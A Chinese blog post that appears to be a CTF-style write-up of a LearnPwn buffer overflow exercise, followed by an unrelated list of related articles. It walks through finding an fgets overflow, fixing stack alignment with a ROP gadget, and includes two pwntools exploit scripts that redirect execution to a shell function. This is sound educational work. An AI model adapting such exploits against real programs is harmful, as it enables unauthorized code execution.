1.Buffer_Overflow-1.Basic_Jump

news2024/11/18 22:35:56

github上面的练习题

git clone https://github.com/Adamkadaban/LearnPwn

然后开始做

先进行 readelf

 然后进行执行看看 是怎么回事

./buf1

 发现就是一个输入和输出

我们checksec看看

 发现stack 保护关闭 开启了NX保护

我们进入ida64看看反汇编

我习惯先看看字符串 SHITF+F12

发现/bin/sh

我们先去主函数看看有什么漏洞

进入一个函数 getName

 我们能看见 给了一个数组

然后下面又有一个fgets函数

fget()和get不同 不会无限输入

但是这里fgets 发现读取的大小为100 但是我们的s 只有15

这里我们就可以进行写入 因为他要读取 所以我们

可以把s和rbp填满垃圾字符 然后返回到shellcode地址

fget()
会读取指针所指的 并且大小限制的 
如果我们溢出字符串 将s和rbp覆盖了 后面就还有很大的空间 我们可以进行构造
因为返回的是100 所以我们构造的 他还是会直接返回 执行

 

类似这个 我们在覆盖了buf 和ret后 就可以进行构造了 因为他会读取100

shellcode地址我们很容易就发现

 exp

from pwn import *
p = process('./buf1')
payload=b'A'*(0xf+0x8)+p64(0x401224)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x4011BC)
p.sendline(payload)
p.interactive()

 问题 出现 code -11

他原本自带了 exp

但是我发现执行不了

我们进行排查后发现是栈不对齐

我们gdb看看

 

我们发现 这里他

mov eax,0
pop rbp
ret

push rbp

执行力三条才到 rbp 这里就导致我们报错

我们该如何解决呢

我们自己设置返回即可

ROPgadget --binary ./buf1 --only 'pop|ret'

 使用这个寄存器 直接设置返回即可

#!/bin/python3

from pwn import *

p = process('./buf1')
e = ELF('./buf1') # This imports all the symbols in the binary

# context.log_level = 'debug'


offset = 0x7fffffffdfe8 - 0x7fffffffdfd1 # $rbp - $(locationOfInput)
loc = p64(e.symbols['openShell']) # \xcf\x11


payload = b'A'*offset
payload +=p64(0x401224)+p64(0)+p64(0)+p64(0)+p64(0)
payload +=loc


p.sendline(payload) # We send 0x17 (or 23) bytes of data because that was how far away from the stack pointer our variable was


p.interactive()

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/537513.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MATLAB 之 函数文件、特殊形式的函数和程序调试与优化

文章目录 一、函数文件1. 函数文件的基本结构2. 函数调用2.1 函数调用的格式2.2 函数的递归调用2.3 函数参数的可调性2.4 全局变量与局部变量 二、特殊形式的函数1. 子函数2. 内联函数3. 匿名函数 三、程序调试与优化1. 程序调试方法1.1 利用调试函数进行程序测试1.2 利用调试工…

【Linux】多线程概念再理解

文章目录 1. 物理内存与磁盘的关系如何理解物理内存?凭什么物理内存要分为一个个4KB大小?若以块方式存储,则多出的空间是否浪费? 2. 虚拟地址到物理地址的转换3. 缺页中断4. 为什么字符常量区是不允许被修改的?5. 线程…

七大软件架构设计原则详解

目录 1、概述 2、七大设计原则 2.1、开闭原则 2.2、里氏替换原则 2.3、依赖倒置原则 2.4、单一职责原则 2.5、接口隔离原则 2.6、迪米特法则 2.7、合成复用原则 3、最后 VC常用功能开发汇总(专栏文章列表,欢迎订阅,持续更新...&…

22 KVM管理虚拟机-查询虚拟机信息

文章目录 22 KVM管理虚拟机-查询虚拟机信息22.1 概述22.2 前提条件22.3 查询主机上的虚拟机信息22.4 查询虚拟机基本信息22.5 查询虚拟机基本信息示例 22 KVM管理虚拟机-查询虚拟机信息 22.1 概述 管理员在管理虚拟机的过程中经常需要知道一些虚拟机信息,libvirt提…

机器学习强基计划10-1:为什么需要集成学习?核心原理是什么?

目录 0 写在前面1 集成学习概念与优势2 结合策略梳理2.1 加权平均法2.2 投票法2.3 学习法 3 误差-分歧分解 0 写在前面 机器学习强基计划聚焦深度和广度,加深对机器学习模型的理解与应用。“深”在详细推导算法模型背后的数学原理;“广”在分析多个机器…

工业能效提升行动计划-安科瑞EMS能效管理平台解决方案

摘要 2022年6月29日工信部、发改委、财政部、生态环境部、国资委、市场监管总局六部门联合下发《关于印发工业能效提升行动计划的通知》(工信部联节〔2022〕76号,以下简称《行动计划》),主要目的是为了提高工业领域能源利用效率&…

读《Spring Boot 3核心技术与最佳实践》有感

我是谁? 👨‍🎓作者:bug菌 ✏️博客:CSDN、掘金、infoQ、51CTO等 🎉简介:CSDN/阿里云/华为云/51CTO博客专家,C站历届博客之星Top50,掘金/InfoQ/51CTO等社区优质创作者&am…

硬件系统工程师宝典(23)-----磁珠选型,你做对了吗?

各位同学大家好,欢迎继续做客电子工程学习圈,今天我们继续来讲这本书,硬件系统工程师宝典。上篇我们说到常用的电容种类有铝电解电容、钽电容、陶瓷电容、OSCON固态电容和薄膜电容,应用时都有各自的特点;电感可分为电源…

最新版Cesium使用天地图三维地形、地名服务

目录 1、项目地址2、实现效果3、实现方法 1、项目地址 可直接运行。 https://github.com/zhengjie9510/cesium-tdt 2、实现效果 3、实现方法 参考博客修改cesiumTdt.js。

2-单片机GPIO相关知识点及流水灯和按键采集小实验

目录 小问题 :单片机上电后第一个执行的程序是? 【1】GPIO 1.定义 2.应用 I - Input 输入采集 O - Output 输出控制 3.GPIO结构框图 4.功能描述 输入功能 5.相关寄存器 【2】输出控制实验 实验:点亮一盏LED灯 1.实验…

Jenkins使用k8s部署应用

1、jenkins在k8s内部署(请参考其他人的文章) 2、jenkins安装kubenents相关插件 3、配置k8s云 非常重要,目的是实现jenkins可以远程调用k8s进行部署,并可实现安装jenkins-slave进行构建。使得不再依赖jenkins单机能力进行构建,比较…

Vue电商项目--search模块面包屑的制作

监听路由的变化再次发请求获取数据 复习: 这里要复习的一点就是:我们这个Search组件里面还有一个子组件,SearchSelector。 还有上面画圈的部分:在发请求之前,把接口需要传递参数,进行整理(在给…

北京超算云中心pytorch/mmcv环境配置

北京超算云中心pytorch/mmcv环境配置 which python查看python路径source deactivate mmseg-dev退出当前环境sbatch --gpus2 ./run.sh提交训练任务作业parajobs查看已提交作业sacncel ID取消作业 先放上常用的基本命令。 下面开始配置pytorch pytorch环境配置 1、输入modul…

Highcharts Core Crack

Highcharts Core Crack 添加了新的“x轴交叉”和“y轴交叉”选项,使创建数学绘图的轴布局变得更容易。 添加了新的“series.legendSymbol”选项。 Highcharts是业界领先的JavaScript图表库。Highcharts被数以万计的开发人员和全球100家最大公司中超过80%的公司使用。…

docker创建ubuntu容器,且在该容器内启动jar包

一、创建并运行ubuntu容器 docker run --name docker_ubuntu(容器名称) -it -v /home/docker_ubuntu:/share // 将本地路径挂载到share目录下--restartalways --privilegedtrue // 设置容器退出时重启容器-p 20000:20000 // 映射内外端口,这里可以多个端口&…

Kubeadm方式搭建K8S集群

Kubeadm方式搭建K8S集群 环境准备 在虚拟机里安装三台centos 7.x操作系统 配置系统名称和ip地址(同一网段)如: 角色IPmaster192.168.66.100node1192.168.66.101node2192.168.66.102 三台机器都要执行的命令:(使用xshell执行命令更方便) …

Cloudcanal数据同步神器

一.背景与需求 最近有个OLAP的需求,我们需要将MySQL的一些数据(这种数据有一种特性就是一旦产生记录,以后不会再进行修改、删除操作,例如登录日志、操作日志等诸如此类)。这种数据特性正好符合Clickhouse的用武之地,我们经过调研最…

【冲刺蓝桥杯】牛客竞赛补题 + 算法模板总结

🍎 博客主页:🌙披星戴月的贾维斯 🍎 欢迎关注:👍点赞🍃收藏🔥留言 🍇系列专栏:🌙 C/C专栏 🌙请不要相信胜利就像山坡上的蒲公英一样唾…

Songtell.CN:用AI解锁您最喜欢的歌曲背后的含义!

🎧听歌不止是享受,还有深度的情感寓意! 🎧探索音乐真谛,Songtell.CN带你用 AI 解锁歌曲深度含义! 🎶音乐是人类的共同语言,它能够温暖我们的心灵,带给我们力量和勇气。…

参与辅助服务的用户侧储能优化配置及经济分析(Matlab代码实现)

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…